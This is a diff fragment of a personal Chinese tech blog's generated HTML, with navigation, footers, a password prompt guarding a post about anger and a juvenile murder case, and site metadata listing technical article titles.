rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container" class="w-full flex justify-center items-center h-96 "><div class="text-center space-y-3"><div class="font-bold">Please Enter the password:</div><div class="flex mx-4"><input id="password" type="password" class="outline-none w-full text-sm pl-5 rounded-l transition focus:shadow-lg dark:text-gray-300 font-light leading-10 text-black bg-gray-100 dark:bg-gray-500"/><div class="px-3 whitespace-nowrap cursor-pointer items-center justify-center py-2 bg-green-500 hover:bg-green-400 text-white rounded-r duration-300"><i class="duration-200 cursor-pointer fas fa-key"> <!-- -->Submit</i></div></div><div id="tips"></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2024-03-22</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>控制愤怒—邯郸未成年杀人案 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="思考"/><meta name="description" content="记下来"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="控制愤怒—邯郸未成年杀人案 | Both Savage"/><meta property="og:description" content="记下来"/><meta property="og:url" content="https://bothsavage.github.io//article/240322-angry"/><meta property="og:image" content="https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="记下来"/><meta name="twitter:title" content="控制愤怒—邯郸未成年杀人案 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="心"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container" class="w-full flex justify-center items-center h-96 "><div class="text-center space-y-3"><div class="font-bold">Please Enter the password:</div><div class="flex mx-4"><input id="password" type="password" class="outline-none w-full text-sm pl-5 rounded-l transition focus:shadow-lg dark:text-gray-300 font-light leading-10 text-black bg-gray-100 dark:bg-gray-500"/><div class="px-3 whitespace-nowrap cursor-pointer items-center justify-center py-2 bg-green-500 hover:bg-green-400 text-white rounded-r duration-300"><i class="duration-200 cursor-pointer fas fa-key"> <!-- -->Submit</i></div></div><div id="tips"></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2024-03-22</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","c